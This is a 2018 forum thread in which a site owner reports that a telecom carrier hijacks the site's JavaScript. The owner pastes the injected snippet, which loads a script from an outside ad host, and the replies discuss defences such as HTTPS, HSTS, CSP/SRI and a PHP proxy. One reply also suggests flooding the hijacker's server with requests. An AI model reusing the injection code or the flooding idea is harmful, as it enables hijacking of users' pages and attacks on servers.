我们公司的网站经常被电信运营商劫持 JS 访问,被替换成广告代码。以下是被劫持的 JS 内容:
var atn_obj = new Object; atn_obj.oldurl = 'http://www.tssjsc.cn/addons/sz_yi/static/js/app/config.js?cHVzaA=1518227648'; atn_obj.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/Iyc/NzcrMx8/JzL/OyczRmJuDsZqHiozfyoPMg8vLzc/Pz4POg87KzsfNzcjJy8eDzsrOx83NyMnLx8/LxsnKyceDysnGz8k='; window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0); window.setTimeout(function(){var a=document.createElement("script");a.src=atn_obj.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);
有没有一种办法,就是在客户端请求一个静态资源的时候,比如请求 /aa.jj ,web 服务器返回 /aa.js 的内容?这样电信运营商就察觉不到客户端请求的是个 js 文件。
1
rrfeng 2018-02-10 10:43:13 +08:00
你自定义就可以了,文件名并没有什么关系。
|
3
DT27 2018-02-10 11:06:16 +08:00 via Android
自己的网站上 https 啊
|
4
rrfeng 2018-02-10 11:10:56 +08:00
|
7
terra 2018-02-10 11:26:14 +08:00 via iPhone
发现有劫持代码,在后台狂 POST 它显示内容的服务器。
|
8
ccbikai 2018-02-10 11:27:35 +08:00 via iPhone
CSP,SRI 配置一下
|
9
thesunfei OP 加了 php 代理后解决问题
比如 /proxy.php?url=addons/sz_yi/template/mobile/tsys/static/js/jquery-3.1.1.min.js |
10
ivyliner 2018-02-10 12:06:33 +08:00 via iPhone
https 是正途,其他都是自作聪明的做法
|
11
yingfengi 2018-02-10 13:39:58 +08:00 via Android
https 才是正途,其他都是自作聪明
|
12
anheiyouxia 2018-02-10 14:03:56 +08:00 via Android
@DT27 佛山电信,手机如果不是用 chrome 浏览器,会劫持 HTTPS 会话,然后做流氓事,可能因为 chrome 会提醒用户证书不对所以用 chrome 才不会被劫持
|
13
jasontse 2018-02-10 14:16:06 +08:00 via iPad
@anheiyouxia 不可能吧,https 识别浏览器这件事是鸡和蛋的问题。
|
14
jiangzhuo 2018-02-10 15:14:22 +08:00
劫持的没有傻到去判断是.js
第一步是判断是不是 HTTP 协议 你只要不用 HTTP 协议就可以防 99%的劫持 |
15
SingeeKing 2018-02-10 15:32:29 +08:00
上 HSTS Preload x
改扩展名 √ |
16
someonetwo 2018-02-10 15:43:15 +08:00
什么技术都没有法律强制效果好,要是法律规定禁止运营商劫持,发现一律坐牢 10 年以上,哪个运营商敢冒险,让更多人投诉,让国家重视,多抓几个典型就没那么多人敢劫持了
|
17
flyz 2018-02-10 15:49:38 +08:00 via Android
|
18
why1 2018-02-10 16:32:40 +08:00 via Android
gzip 可以吗,服务器开静态文件压缩
|